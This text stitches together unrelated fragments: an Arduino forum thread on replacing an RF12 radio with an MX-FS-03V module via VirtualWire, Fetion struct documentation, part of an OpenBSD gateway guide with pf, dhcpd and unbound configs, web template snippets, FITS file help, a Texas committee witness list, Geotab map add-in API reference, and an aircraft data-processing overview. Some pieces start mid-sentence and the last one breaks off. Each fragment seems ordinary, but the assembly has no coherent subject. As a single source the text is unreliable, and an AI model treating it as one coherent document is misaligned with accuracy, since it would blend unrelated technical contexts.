Hello
I'm doing my meter with arduino and I would like to replace the RF12 for MX-FS-03V, is much cheaper on ebay
MX-FS-03V module works with virtualwire.h
Has anyone done something like this or can help me?
thanks
Archived Forum |
|
module MX-FS-03VSubmitted by mirasu on Mon, 26/08/2013 - 22:34Hello thanks » |
Re: module MX-FS-03V
I think the example sketches I found here tell you how to do it. That is sending a single integer value, so instead of send_rf_data( ) I think you will need vw_send((byte *)(&emontx), sizeof(emontx));
At the receiving end, I think you will need (assuming you have identical emontx structures at both ends of the radio link):
uint8_t Buffer_Size;
Buffer_Size = sizeof(emontx);
then
vw_get_message(&emontx, &Buffer_Size);
I cannot test this so it might be completely wrong!
Re: module MX-FS-03V
assuming you have identical emontx structures at both ends of the radio link
And not just identical from a C definition point of view, but identical from a raw storage point of view. Different architectures/environments may have different lengths for int for example, they may pack fields into structures differently in memory, or even use different endianess.
Re: module MX-FS-03V
Hello
Thanks for the answers, proves tomorrow :-)
My configuration is:
Arduino nano with emontx and tx433Mhz
Arduino Mega with rx433Mhz, serial and ethernet
The Arduino Nano I want to hide in the fuse box (magnetothermic)
Thanks again
Re: module MX-FS-03V
Hello
I do not get to compile the program with the modified.
I would like to receive and send measurements virtualwire by emoncms network.
If you could you help me ..
Sorry for the English I am Spanish and use google :-(
thanks
Re: module MX-FS-03V
What error message does the compiler give? Also, can you attach the file that is your sketch to your post?
Re: module MX-FS-03V
Hello
I have many compilation errors.
and I'm editing the file to meet NanodeRF_Cosm virtualwire. but this has many references to RF12 not if material or replace.
the file with the changes I call rx.
Hope you can help me. Thank you!
Re: module MX-FS-03V
Compiler errors can mean that something that is required cannot be found on your computer, or that what you are writing is not the correct syntax. I cannot help you until you give the information that I ask for.
Re: module MX-FS-03V
these errors are.
NanodeRF_Cosm:238: error: expected constructor, destructor, or type conversion before '.' token
NanodeRF_Cosm:249: error: expected constructor, destructor, or type conversion before '.' token
NanodeRF_Cosm:249: error: expected constructor, destructor, or type conversion before '.' token
NanodeRF_Cosm:252: error: expected constructor, destructor, or type conversion before '++' token
NanodeRF_Cosm:253: error: expected constructor, destructor, or type conversion before '.' token
NanodeRF_Cosm:253: error: expected unqualified-id before ')' token
NanodeRF_Cosm:253: error: expected unqualified-id before ')' token
NanodeRF_Cosm:254: error: expected constructor, destructor, or type conversion before '=' token
NanodeRF_Cosm:255: error: expected declaration before '}' token
RF12 is that I have not quite understand how it works. and want to replace it with a cheaper module MX-FS-03V unidirectional and much simpler to use. entiendono because not much difference with RF12
thanks
Re: module MX-FS-03V
I do not think those errors are from compiling the file you say you are compiling. You wrote that the file you are using is "rx.ino"
The error messages tell me that the file is NanodeRF_Cosm.ino and in that file from Github line 238, which is where the first error is, is a comment. I cannot help you if you if tell me things that are not true.
Here is how to interpret the error message:
NanodeRF_Cosm: << The name of the file.
238: << The line on which the error was detected. The error may be on this line, or it could on the line before or many lines before.
error: expected constructor, destructor, or type conversion before '.' token << When it saw ".", it expected something like "Serial.print", but the word before the "." did not allow that.
I think you should try the test program in the link I gave you in the second post on Mon, 26/08/2013 - 23:10. If that compiles correctly, then we know that the virtualwire part is working.
Re: module MX-FS-03V
Thank you.
rx.ino NanodeRF_Cosm.ino and the file are the same. to save and send not want to rewrite the original and did a save as. I did not realize that came out the file name in the error. Perdon.
On interpreting the error is very useful, thanks
post on the second part ok tx, rx part in the probe with a clean file virtualwire library and you advised me, and I saw the serial and well. but quit after a while, now pretencia finish and use it, because here you have to start to look a lot the electric expense. I need to see the statistics when spending and all that.
So I wanted to change a program that already works with emonCMS, but is as different as it works RF12 and virtualwire
think it's best to start a new program?
thanks
Re: module MX-FS-03V
I think your messages are suffering in translation, therefore I am not sure that I understand you correctly.
You tried the two programs from http://forum.hobbycomponents.com/viewtopic.php?f=39&t=1324
You compiled the transmitter and receiver sketches and you transferred data from transmitter to receiver. Is that correct?
Re: module MX-FS-03V
hello
I'm mirnado what you tell me.
I used the example of the library virtualwire http://www.airspayce.com/mikem/arduino/VirtualWire/
and as I say in # 2 GOT view from 2 arduino by serial readings 1 arduino.
Now I want to send those readings to enc26j80 for uploading to the web. So I wanted to modify that file.
a time to let me try what you told me there's something I like.
thanks
Re: module MX-FS-03V
Try this Receiver sketch. I do not have an Arduino, I do not have a MX-FS-03V, I do not have a enc26j80 and I do not have COSM; therefore I do not know if it will work. If it does work, you can use the Transmitter sketch in your first Arduino to send data. You can only send 2 bytes, if you want to send more you must make some changes.
Re: module MX-FS-03V
Hello
Thanks for the input, unfortunately I do not work yet.
the file I sent me did you? I say this because if you find somewhere would not be in the TX file?
The problem is that I do not get the same as I send. I'm still doing tests to determine where the problem is, if TX or RX.
1000 Thanks
by the way I use arduino mega 2560 on the RX, and change the lines if (ether.begin (sizeof Ethernet :: buffer, mymac, 53) == 0)
but not if it affects something else.
thanks
Re: module MX-FS-03V
I think I cannot help you any more, sorry.
What I did to create that sketch: I removed the parts of the program for the RFM12 radio and I replaced those with the equivalent parts that I took from the example sketch.
We know the Nanode sketch is good with the enc26 module that the Nanode uses.
To make that sketch work, you must debug it because I do not have the hardware to test it on.
Re: module MX-FS-03V
Thank you!
I keep on trying, I think the error will be in the tx.
Thanks for your time!


#include <datastruct.h>
Data Fields | |
| long | id |
| char * | uri |
| char * | local_name |
| char * | buddy_lists |
| int | online_status |
| Fetion_Personal * | personal |
| long _fetion_account::id |
account id.
| char* _fetion_account::uri |
account uri.
account local_name.
account group id, it store as string, the format is *;*;.
account online status
account personal info.


em0
, em1
and athn0
interface names as appropriate.
Sample configuration files are provided, but you're encouraged to read
the man pages to understand their full capability.
# echo 'net.inet.ip.forwarding=1' >> /etc/sysctl.conf # echo 'dhcp' > /etc/hostname.em0 # if you have a static IP, use that instead # echo 'inet <IP_ADDRESS> <IP_ADDRESS> <IP_ADDRESS>' > /etc/hostname.em1 # vi /etc/hostname.athn0Add the following, changing the mode/channel if needed:
media autoselect mode 11n mediaopt hostap chan 1 nwid AccessPointName wpakey VeryLongPassword inet <IP_ADDRESS> <IP_ADDRESS>OpenBSD defaults to allowing only WPA2-CCMP connections in HostAP mode. If you need support for older (insecure) protocols, they must be explicitly enabled.
# rcctl enable dhcpd # rcctl set dhcpd flags em1 athn0 # vi /etc/dhcpd.confTake this example and adjust to fit your needs:
subnet <IP_ADDRESS> netmask <IP_ADDRESS> { option routers <IP_ADDRESS>; option domain-name-servers <IP_ADDRESS>; range <IP_ADDRESS> <IP_ADDRESS>; host myserver { fixed-address <IP_ADDRESS>; hardware ethernet 00:00:00:00:00:00; } host mylaptop { fixed-address <IP_ADDRESS>; hardware ethernet 11:11:11:11:11:11; } } subnet <IP_ADDRESS> netmask <IP_ADDRESS> { option routers <IP_ADDRESS>; option domain-name-servers <IP_ADDRESS>; range <IP_ADDRESS> <IP_ADDRESS>; }You can specify another RFC 1918 address space here if you prefer, or even a public IP block if you have one. Using this example, clients will query a local DNS server, detailed in a later section. If you don't plan on using a local DNS server, replace the IPs in the
domain-name-servers
lines with the address of your preferred
upstream resolver.
# vi /etc/pf.confA configuration for a gateway system might look like this:
wired = "em1" wifi = "athn0" table <martians> { <IP_ADDRESS>/8 <IP_ADDRESS>/8 <IP_ADDRESS>/8 <IP_ADDRESS>/16 \ <IP_ADDRESS>/12 <IP_ADDRESS>/24 <IP_ADDRESS>/24 <IP_ADDRESS>/3 \ <IP_ADDRESS>/16 <IP_ADDRESS>/15 <IP_ADDRESS>/24 \ <IP_ADDRESS>/24 } set block-policy drop set loginterface egress set skip on lo0 match in all scrub (no-df random-id max-mss 1440) match out on egress inet from !(egress:network) to any nat-to (egress:0) antispoof quick for { egress $wired $wifi } block in quick on egress from <martians> to any block return out quick on egress from any to <martians> block all pass out quick inet pass in on { $wired $wifi } inet pass in on egress inet proto tcp from any to (egress) port { 80 443 } rdr-to <IP_ADDRESS>Now we'll break this ruleset down and explain what each line does.
wired = "em1" wifi = "athn0"These are macros, used to make overall maintenance easier. Macros can be referenced throughout the ruleset after being defined.
table <martians> { <IP_ADDRESS>/8 <IP_ADDRESS>/8 <IP_ADDRESS>/8 <IP_ADDRESS>/16 \ <IP_ADDRESS>/12 <IP_ADDRESS>/24 <IP_ADDRESS>/24 <IP_ADDRESS>/3 \ <IP_ADDRESS>/16 <IP_ADDRESS>/15 <IP_ADDRESS>/24 \ <IP_ADDRESS>/24 }This is a table of non-routable private addresses that will be used later.
set block-policy drop set loginterface egress set skip on lo0PF allows certain options to be set at runtime. The
block-policy
decides whether rejected packets should return
a TCP RST or be silently dropped.
The loginterface
is exactly what it sounds like: which interface
should have packet and byte statistics collection enabled.
These statistics can be viewed with the pfctl -si
command.
In this case, we're using the egress
group rather than a
specific interface.
The egress
keyword automatically chooses the interface that holds
the default route, or the em0
WAN interface in our example.
Finally, skip
allows you to completely omit a given interface from
packet processing.
The firewall will ignore loopback traffic on the
lo(4) interface.
match in all scrub (no-df random-id max-mss 1440) match out on egress inet from !(egress:network) to any nat-to (egress:0)The
match
rules used here accomplish two things:
normalizing incoming packets and performing network address translation,
with the egress
interface between the LAN and the public internet.
For a more detailed explanation of match
rules and their different
options, refer to the pf.conf(5)
manual.
antispoof quick for { egress $wired $wifi } block in quick on egress from <martians> to any block return out quick on egress from any to <martians>The antispoof keyword provides some protection from packets with spoofed source addresses. Packets coming in on the
egress
interface should be dropped if they
appear to be from the list of unroutable addresses we defined.
Such packets were likely sent due to misconfiguration, or possibly as part of
a spoofing attack.
Similarly, our clients should not attempt to connect to such addresses.
We'll specify the "return" action to prevent annoying timeouts for users.
Note that this can cause problems if you're doing double NAT.
block allThe firewall will set a "default deny" policy for all traffic. This means we will only allow incoming and outgoing connections that we explicitly put in our ruleset.
pass out quick inetAllow outgoing IPv4 traffic from both the gateway itself and the LAN clients.
pass in on { $wired $wifi } inetAllow internal LAN traffic.
pass in on egress inet proto tcp from any to (egress) port { 80 443 } rdr-to <IP_ADDRESS>Forward incoming connections (on TCP ports 80 and 443, for a web server) to our machine at <IP_ADDRESS>. This is merely an example of port forwarding.
When clients issue a DNS query, they'll first hit the unbound(8) cache. If it doesn't have the answer, it goes out to the upstream resolver that you've configured. Results are then fed to the client and cached for a period of time, making future lookups of the same address quicker.
# rcctl enable unbound # vi /var/unbound/etc/unbound.confSomething like this should work for most setups:
server: interface: <IP_ADDRESS> interface: <IP_ADDRESS> interface: <IP_ADDRESS> access-control: <IP_ADDRESS>/24 allow access-control: <IP_ADDRESS>/24 allow do-not-query-localhost: no hide-identity: yes hide-version: yes forward-zone: name: "." forward-addr: <IP_ADDRESS> # IP of the upstream resolverFurther configuration options can be found in unbound.conf(5). Outgoing DNS lookups may also be encrypted with the
dnscrypt-proxy
package -- see its included README file for details.
If you want the gateway to use the caching resolver for lookups too, don't
forget to change its /etc/resolv.conf
file to point to <IP_ADDRESS>.
Since the majority of routers won't be doing many DNS queries, this is likely
not needed.
Also note that it will need to be changed back to an actual resolver
when using bsd.rd for network-based upgrades
if you do so.


{% extends 'layout-2-1-bleedbar.html' %} {% import '_vars-blog.html' as vars with context %} {% set view = get_document('views', 'blog') %} {% block title -%} Blog | Consumer Financial Protection Bureau {%- endblock %} {% block desc -%} The official blog of the Consumer Financial Protection Bureau {%- endblock %} {% block content_main %}
Subscribe to our email newsletter. We will update you on new blogs.
{% import 'macros/subscribe.html' as subscribe with context %} {{ subscribe.render('USCFPB_91') }}


{% extends "base.html" %} {% load staticfiles %} {% block extra_styles %} {% endblock %} {% block title %}Thank you {{ title }}{% endblock %} {% block content %}
What is the story between you and {{ title }}
(This letter must have at least 300 characters and should be written in English.)


Having trouble signing in? Reset your password
Powered by Social Alpha
{{ appComponent.releaseVersion }}


Create A New FITS File
To create a new FITS file with a primary image array, you need to
specify the following parameters:
- File name: If a full path is not specified, the file will be
created in the current directory (as shown in the open file dialog
box).
- Data Type: The basic data types are
- Byte : bitpix = 8
- Integer : bitpix = 16
- Long : bitpix = 32
- Float : bitpix = -32
- Long Long : bitpix = 64
- Double : bitpix = -64
The first 3 can be either Signed or Unsigned. BSCALE and BZERO
keywords will be created to produce the non-standard Signed Byte
and Unsigned Integer and Long data types.
- Dimensions: Provide the size of the array with a comma- or
space-separated list of its dimensions. For example, a 3-dimensional
image could be specified with "10 20 30", producing in image
with dimensions of 10x20x30.
Go to About fv.


WITNESS LIST Ways & Means Committee February 10, 2005-10:30A Appraisal Caps For: Bettencourt, Paul (Harris County Tax Assessor-Collector) Caldwell, Jim (Self and Texas Silver-Haired Legislature) Garcia, Oscar (Texas Silver-Haired Legislature) Hendee, Edd (Citizens Lowering Our Unfair Taxes (CLOUT)) Higgins, Carlos (Self) Against: Amos, Allen (Rural County Judges Association) Bryant, Mark (JPI Multifamily Investments) Cox, Ronald (City of Friendswood) Day, Bob (City of Garland) Harris, Ron (Collin County) Langley, Bryan (Self and Town of Addison) Mayfield, Kenneth (Dallas County) Millikin, Jay (Comal County Commissioners Court) Mitchell, Foy (Dallas Central Appraisal District) Spieker, Dianna (Self and Co. Treas Assoc of Texas) Sturzl, Frank (Texas Municipal Leauge) West, Mickey (Self and Texas Association of Counties) Whitley, Glen (Self and Tarrant County and Conference of Urban Counties) Appraisal Issues On: Aghamalian, Brandon (City of Fort Worth) Allaway, Bill (Texas Taxpayers and Research Association) Brown, Tim (Bell County and Texas Conference of Urban Counties) Lavine, Dick (Center for Public Policy Priorities) Lee, Donald (Texas Conference of Urban Counties) Morgan, Tom (Texas Association of Realtors) Popinski, Bob (Self) Valek, Millicent (Texas Association of Community Colleges) Truth in Taxation For: Boren, Gary (City of Lubbock)


--- layout: pageNoEdit permalink: /software/guides/map-add-ins-docs/ title: Geotab Deeper Add-In Overview ---
Deeper Add-Ins, also referred to as Deeper Integrations or simply Map Add-Ins, embed third-party integrations within the Maps page and the Trips History page of MyGeotab, enabling Geotab customers to access the integration from within the native MyGeotab Map and Trips History pages. A panel will slide out on the right-side of the page, allowing users to manipulate the map and see data presented by the integration alongside Geotab GO device data.
Below is an example of a Deeper Add-In on the Trips History page. When a user hovers over any part of a trip, this add-in displays the vehicles odometer and fuel level in the native tooltip that appears when hovering your mouse over any part of the trip. Note that the other details in the tooltip are displayed by the MyGeotab system by default.
This document provides the setup process and functionality available to Partners looking to build Deeper Add-Ins.
Deeper Add-Ins are installed on the System Settings page, just like regular Add-Ins. The difference is in the contents of the configuration file. Deeper Add-Ins have following configuration JSON file:
{
"name": "Tooltip",
"supportEmail": "",
"version": "1.0",
"items": [{
"page": "map",
"title": "Tooltips",
"noView": false,
"mapScript": {
"src": "/tooltip/addin.js",
"style": "/tooltip/addin.css"
}
}]
}
The five main properties of the configuration file are as follows:
The script file from the “src” property and the style file from the “style” property will be added to the MyGeotab page iframe in the right-side panel.
The starting point for the Deeper Add-In JS script will be the function that is added as a method to “window.geotab.addin”. For example:
geotab.addin.request = (elt, service) => {
// code for Deeper Add-In
}
This function has two arguments:
In MyGeotab, Deeper Add-Ins are opened inside an sandboxed iframe. This means that custom scripts is run inside the iframe.
 When the user leaves the Map or Trips History page, the content of the iframe is cleared by the browser.
Don't access any elements or API in main window because they can be changed in future. To make sure that your add-ins won't be broken in later versions of MyGeotab all communications with main window should be made with documented services.
The maximum width of the Deeper Add-In panel is 450 px. The height is responsive to fill the height of the iframe that the panel exists within. The width may become smaller for mobile devices.
The following screenshots display how the panel size changes between a laptop screen and a mobile phone screen.
Each Deeper Add-In exists within its own tab on the right-side panel. Each Add-In has its own HTMLElement where it can append content. The Add-In function will be called when a user visits the Add-In by clicking on its tab. After that, the “focus” and “blur” events will be fired when the user opens or leaves the Add-In tab, respectively (See services.page).
The screenshot below displays the tabs for different Deeper Add-Ins. The different Add-Ins are named “Canvas”, “Hello from the other side of the frame”, and “Tooltip for map”.
Service for getting/setting page state and moving between MyGeotab page
| Service methods | Description |
|---|---|
| set (key: string, value: string): Promise<boolean> | Sets new key/value pair to page state |
| get (): Promise<object> | Gets page state |
| go (page: string, state?: object): Promise<boolean> | Changes current page |
| hasAccessToPage (page: string): Promise<boolean> | Checks whether current user has access to MyGeotab page |
| getFilterState (): Promise<IGroupFilterId[]> | Gets current company filter state |
| attach (eventName: string, eventHandler: (serviceData: any) => void): void | Attaches event handler to service |
| detach (eventName: string, eventHandler?: (serviceData: any) => void): void | Detaches event handler to service |
| Service property name | Type | Description |
|---|---|---|
| active | boolean | Current map add-in state. It's true if current add-in is focused |
| Event name | Event object | Description |
|---|---|---|
| focus | Empty object | Event is fired when user focuses on current map add-in |
| blur | Empty object | Event is fired when user focuses on another map add-in |
| stateChange |
state: (object) - Updated page state
|
Event is fired when the state of the page is changed |
| filterChange |
groups: (IGroupFilterId[]) - Updated array of filter groups
|
Event is fired when the company filter groups is changed |
Group id object that is selected by user in company filter
| Property | Type |
|---|---|
| id | string |
Service to request information stored in browser LocalStorage
| Service methods | Description |
|---|---|
| set (key: string, value: string): Promise<boolean> | Sets key-value pairs to browser localStorage with key |
| remove (key: string): Promise<boolean> | Removes value from browser localStorage by key |
| get (key: string): Promise<string> | Gets value from browser localStorage by key |
Service for requesting data from Geotab server
| Service methods | Description |
|---|---|
| call (method: string, params: object): Promise<any[]> | Sends single request to Geotab server |
| multiCall (calls: TApiCall[]): Promise<any[][]> | Sends multiple requests to Geotab server in one batch |
| getSession (): Promise<ISessionInfo> | Gets current user session information |
Current user session information
| Property | Type |
|---|---|
| database | string |
| userName | string |
| sessionId | string |
| domain | string |
[string, object]
Tuple for calling server methods where first element is method name and second is an object with parameters.
Service for catching events that happens when user interact with different entities on the map
| Service methods | Description |
|---|---|
| attach (eventName: string, eventHandler: (serviceData: any) => void): void | Attaches event handler to service |
| detach (eventName: string, eventHandler?: (serviceData: any) => void): void | Detaches event handler to service |
| Event name | Event object | Description |
|---|---|---|
| move |
data: (ICoordinate) - Position of the pointer on the map
|
Event is fired when user moves pointer over the map |
| over |
data: (TEventData) - Main information about entity
|
Event is fired when user moves pointer over an obejct on the map |
| out |
data: (TEventData) - Main information about entity
|
Event is fired when user moves pointer out of an obejct on the map |
| click |
data: (TEventData) - Main information about entity
|
Event is fired when user clicks on an obejct on the map |
Event object that is sent to add-in when user interacts with zone
| Property | Type |
|---|---|
| type | "zone" |
| entity | IZoneEventData |
Zone object that is sent to add-in when user interacts with zone
| Property | Type |
|---|---|
| id | string |
Event object that is sent to add-in when user interacts with device
| Property | Type |
|---|---|
| type | "device" |
| entity | IDeviceEventData |
Device object that is sent to add-in when user interacts with device
| Property | Type |
|---|---|
| id | string |
Event object that is sent to add-in when user interacts with route
| Property | Type |
|---|---|
| type | "route" |
| entity | IRouteEventData |
Route object that is sent to add-in when user interacts with route
| Property | Type |
|---|---|
| id | string |
Event object that is sent to add-in when user interacts with trip
| Property | Type |
|---|---|
| type | "trip" |
| entity | ITripEventData |
Trip object that is sent to add-in when user interacts with trip
| Property | Type | Description |
|---|---|---|
| id | string | Id of the trip |
| device | { id: string; } | Device id object that drove this trip |
| dateTime | string | Date and time of the trip point |
Event object that is sent to add-in when user interacts with device exceptions
| Property | Type |
|---|---|
| type | "exceptions" |
| entity | IExceptionsEventData |
Exceptions object that is sent to add-in when user interacts with exception icon on the map
| Property | Type |
|---|---|
| exceptions | IExceptionEventData[] |
Exception object that is sent to add-in when user interacts with exception icon on the map
| Property | Type | Description |
|---|---|---|
| to | string | Date and time when this exception ends |
| from | string | Date and time when this exception starts |
| id | string | Id of the exception |
| rule | { id: string; } | Rule id object of this exception |
| device | { id: string; } | Device id object where this exception happen |
IZoneEvent | IDeviceEvent | IRouteEvent | ITripEvent | IExceptionsEvent
Event object that is sent to add-in when user interacts with different types of entitis on the map
Service for manipulating viewport of the map and getting updates about changed map viewport
| Service methods | Description |
|---|---|
| setBounds (bounds: IMapBounds): Promise<boolean> | Sets map bounds |
| getBounds (): Promise<IMapBounds> | Gets current map bounds |
| setZoom (zoom: number): Promise<boolean> | Sets map zoom level |
| getZoom (): Promise<number> | Gets current map zoom level |
| attach (eventName: string, eventHandler: (serviceData: any) => void): void | Attaches event handler to service |
| detach (eventName: string, eventHandler?: (serviceData: any) => void): void | Detaches event handler to service |
| Event name | Event object | Description |
|---|---|---|
| change | Empty object | Event is fired when viewport of map is changed. This event fires each time when use drags or zooms map |
| changed |
viewport: (IChangedViewport) - Current map zoom and bounds
|
Event is fired when user finished dragging and zooming map |
Current map viewport
| Property | Type | Description |
|---|---|---|
| zoom | number | Current map zoom |
| bounds | IMapBounds | Current map bounds |
Object that represents a map bounding box.
| Property | Type | Description |
|---|---|---|
| sw | IMapLatLng | The southwest corner of the bounding box. |
| ne | IMapLatLng | The northeast corner of the bounding box. |
An object that represents longitude and latitude
| Property | Type | Description |
|---|---|---|
| lat | number | Latitude, measured in degrees. |
| lng | number | Longitude, measured in degrees. |
Service for showing additional information in entities tooltip
| Service methods | Description |
|---|---|
| showAt (position: TPosition, pattern: ITooltip, sequence: number): void | Shows custom tooltip at certain position on the map |
| show (pattern: ITooltip, sequence: number): void | Adds additional information to already shown tooltip on the map |
| hide (): void | Hids additional information from already shown and custom tooltip |
| setConfig (config: ITooltipConfig): Promise<boolean> | Sets configuration for changing current application tooltip |
| getConfig (): Promise<ITooltipConfig> | Sets configuration for current application tooltip |
Custom map add-in tooltip options. It can be either a text information or an image
| Property | Type | Description |
|---|---|---|
| icon | string | Icon image for custom tooltip part. |
| image | ITooltipImage | Image options that should be shown instead of text in tooltip |
| main | string | Main tooltip text |
| secondary | string[] | Secondary information that will be written with smaller font |
| additional | string[] | Some additional tooltip information |
Custom tooltip image options. It can be either link to external image, base64 image or image stored in ArrayBuffer
| Property | Type | Description |
|---|---|---|
| url | string | Either link to external image or serialized base64 image or stringified SVG image |
| buffer | ArrayBuffer | Image stored in ArrayBuffer |
| width | number | Width of the image |
| height | number | Height of the image |
Application tooltip config. Based on this config application desides what parts of tooltip should be rendered
| Property | Type | Description |
|---|---|---|
| device | IDeviceTooltipConfig | Changes information in devices tooltip |
Device tooltip config to control amount of information that is shown in tooltip.
| Property | Type | Description |
|---|---|---|
| state | boolean | Shows/hides current device state in tooltip |
| groups | boolean | Shows/hides device groups information in tooltip |
Service for showing a custom action list instead of the existing one, or adding custom buttons to existing action lists.
| Service methods | Description |
|---|---|
| show (position: TPosition, title: string, items: IMenuActionItem[]): void | Shows custom action menu on certain position |
| attachMenu (menuName: TMenuType, handler: TMenuHandler): void | Subscribes on event when one of the MyGeotab map menus is shown to add new action button |
| detachMenu (menuName: TMenuType, handler?: TMenuHandler): void | Unsubscribes on event when one of the MyGeotab map menus is shown |
| attach (eventName: string, eventHandler: (serviceData: any) => void): void | Attaches event handler to service |
| detach (eventName: string, eventHandler?: (serviceData: any) => void): void | Detaches event handler to service |
| Event name | Event object | Description |
|---|---|---|
| CustomEvent |
data: (object) - Data from `IAddinActionItem.data` for the current button
|
Event is fired when user clicks on custom button in action list. Event name is defined by "clickEvent" property in custom button object. |
Custom action button options
| Property | Type | Description |
|---|---|---|
| title | string | Button title |
| icon | string | Button icon image |
| url | string | URL to external page. If this property is used than button will be an anchor element |
| clickEvent | string | Name of the event that will be fired when user clicks on this button |
| zIndex | number | Number that defined position of the custom action button in menu |
| data | object | Custom data that will be send with `clickEvent` when user clicks on this button |
Data that is passed to add-in when all types of map action menus are about to be shown
| Property | Type |
|---|---|
| x | number |
| y | number |
| menuName | string |
| location | ILocation |
Data that is passed to add-in when map action menu is about to be shown
Data that is passed to add-in when zone action menu is about to be shown
| Property | Type |
|---|---|
| zone | { id: string; } |
Data that is passed to add-in when route action menu is about to be shown
| Property | Type |
|---|---|
| route | { id: string; } |
Data that is passed to add-in when location marker action menu is about to be shown
| Property | Type |
|---|---|
| title | string |
Data that is passed to add-in when device action menu is about to be shown
| Property | Type |
|---|---|
| device | { id: string; } |
Data that is passed to add-in when trip action menu is about to be shown
| Property | Type |
|---|---|
| dateTime | string |
| device | { id: string; } |
| trip | ITripData |
Trip data that is passed to add-in when trip action menu is about to be shown
| Property | Type |
|---|---|
| start | string |
| stop | string |
"zone" | "map" | "device" | "route" | "marker" | "trip"
Types of menus where custom action buttons can be added
(menuName: string, data: TMenuEventData) => IMenuActionItem[] | Promise<IMenuActionItem[]>
Function that will be called when certain action menu is about to be opened
IMapMenuEventData | IZoneMenuEventData | IRouteMenuEventData | IMarkerMenuEventData | IDeviceMenuEventData | ITripMenuEventData
Data that is passed to add-in based on type of menu that is shown
Service for drawing custom shapes on the map
| Service methods | Description |
|---|---|
| path (path: IPathSeg[], zIndex: number): ICanvasElement<ICanvasPathAttributes> | Draws SVG path element on the map |
| rect (coords: TPosition, width: number, height: number, radius: number, zIndex: number): ICanvasElement<ICanvasRectAttributes> | Draws SVG rect element on the map |
| circle (coords: TPosition, radius: number, zIndex: number): ICanvasElement<ICanvasCircleAttributes> | Draws SVG circle element on the map |
| text (coords: TPosition, text: string, zIndex: number): ICanvasElement<ICanvasTextAttributes> | Draws SVG text element on the map |
| marker (coords: TPosition, width: number, height: number, source: TMarkerSource, zIndex: number): ICanvasElement<ICanvasMarkerAttributes> | Draws custom image element on the map |
| clear (): void | Clears all drawn elements on the map |
Segment of the path element that will be added in `d` attribute
| Property | Type | Description |
|---|---|---|
| type | string | Type of the segment. Supported types `M`, `m`, `L`, `l`, `Z`, `C`, `c`, `S`, `s` |
| points | TPathSegPoint[] | Locations or coordinates that should be used in current segment |
New map element object
| Method | Description |
|---|---|
| change (attrs: T): ICanvasElement<T> | Changes style attributes of the current map element |
| remove (): void | Removes current map element |
| isRemoved (): boolean | Returns true if element was removed |
| attach (event: TCanvasElementEvent, handler: (data: ICoordinate) => void): ICanvasElement<T> | Attaches event handler to current element event |
| detach (event: TCanvasElementEvent, handler?: (data: ICoordinate) => void): ICanvasElement<T> | Detaches event handler from current element event |
Style properties that can be changed for every custom element
| Property | Type | Description |
|---|---|---|
| fill | string | Background color of the element |
| stroke | string | Border color of the element |
| stroke-width | number | Border width of the element |
| fill-opacity | number | Opacity of the element |
| font-size | number | Text element font size |
| font-weight | number | Text element font weight |
Rect element attributes that can be changed for every custom rect element
| Property | Type | Description |
|---|---|---|
| height | number | Height of the rectangle |
| width | number | Width of the rectangle |
| rx | number | The horizontal corner radius of the rectangle |
| ry | number | The vertical corner radius of the rectangle |
| coords | TPosition | Position of the rectangle |
Text element attributes that can be changed for every custom text element
| Property | Type | Description |
|---|---|---|
| dx | number | Offset in pixels x-axios of the element |
| dy | number | Offset in pixels y-axios of the element |
| text | string | Text of the element |
| coords | TPosition | Position of the element |
Circle element attributes that can be changed for every custom circle element
| Property | Type | Description |
|---|---|---|
| r | number | Radius in pixels of the element |
| coords | TPosition | Position of the element |
Path element attributes that can be changed for every custom path element
| Property | Type | Description |
|---|---|---|
| path | IPathSeg[] | Path of the element |
Marker element attributes that can be changed for every custom marker element
| Property | Type | Description |
|---|---|---|
| height | number | Height in pixels of the element |
| width | number | Width in pixels of the element |
| x | number | Position of the element |
| y | number | Position of the element |
| dx | number | Offset in pixels x-axios of the element |
| dy | number | Offset in pixels y-axios of the element |
| coords | TPosition | Position of the element |
| href | string | Image href of the element |
| buffer | ArrayBuffer | Image ArrayBuffer of the element |
ICanvasRectAttributes | ICanvasTextAttributes | ICanvasCircleAttributes | ICanvasPathAttributes | ICanvasMarkerAttributes
Attribute of marker that can be changed for every custom element
"click" | "over" | "out"
Supported custom map element event types
string | ArrayBuffer
Marker can be presented as a encoded SVG or base64 string or URL to third party resource or binary array in ArrayBuffer
| Property | Type |
|---|---|
| x | number |
| y | number |
| Property | Type |
|---|---|
| lat | number |
| lng | number |
Here are some examples and types definition file that can help developers understand how to work with the new Add-Ins. Please download them, extract the files, then follow the instructions in the ReadMe document.


RAF Data Processing Software Overview
Table of Contents:
ADS Utilities
The ADS (Aircraft Data System) records data to
exabyte tape in binary refered to as the "ADS format".
- xbuild
- xbuild is used for generating new, and editing old, headers for the
ADS. Headers contain information on analog/digital channels to sample as well
as information regarding Inertial Systems and PMS1D probes. The header also
describes how and where the information will be layed out on tape.
- hdrdump
- hdrdump is used to produce ASCII dumps of selected information
from ADS headers.
- xtv
- xtv is an X window program for looking at raw ADS data. You
may select physical records, logical records, or blocks of data. xtv
displays data in hex and ASCII. There is a man page available for
xtv.
- dnload
- dnload is used to copy an ADS exabyte image to disk. dnload
has the advantage over dd(1) in that it strips all asynchronous data
from the ADS image (currently this only means PMS2D data).
- libhdr_api.a
- This is a library of functions which provide programmers access to
information from the header. xbuild, hdrdump, and nimbus
all use the hdr_api to decode the header.
Nimbus Overview
Overview of what nimbus does
Nimbus is the main aircraft data processor, it reads ADS files,
and produces netCDF files which conform to the NCAR-RAF/nimbus
conventions. Nimbus provides a Motif GUI for interaction with the user.
Nimbus is used as our quick look and final production processor.
Nimbus starts by reading the header from the ADS image, and
decoding it. From there the user is presented with a list of all the raw and
derived variables that are available. The user may change data associated with
a given variable such as, calibrations, output rate, dependencies, time lags,
or wether the variable should even be in the output file. The user may also
select whether a Low Rate file or High Rate file is desired.
- Low Rate (LRT)
- For Low Rate, all variables are averaged down to one sample per second, then
derived variables are computed for that second.
- High Rate (HRT)
- For High Rate, all sampled raw variables are run through a multi-rate
FIR filter, which outputs 25 samples per second regardless of input rate.
From there derived variables are computed at 25 samples per second.
When the user is done customizing there output file, they press the "Go"
button, and nimbus starts processing the ADS data.
Overview of how nimbus works
netCDF Utilities
netCDF
was written, and is maintained by
Unidata.
A number of utilities have been written to help manipulate netCDF files.
Many of them will only work with netCDF files that conform to the
NCAR-RAF/nimbus conventions.
- ncdump
- ncdump is for producing ASCII dumps of netCDF header and/or
data. It is not very useful for dumping more than one variable worth of data,
because the data are not in columnar format. ncdump was written by
Unidata, and has a man page for further information.
- ncmerge
- ncmerge will merge two netCDF files together, providing both files
meet the NCAR-RAF/nimbus conventions, and they have some overlapping
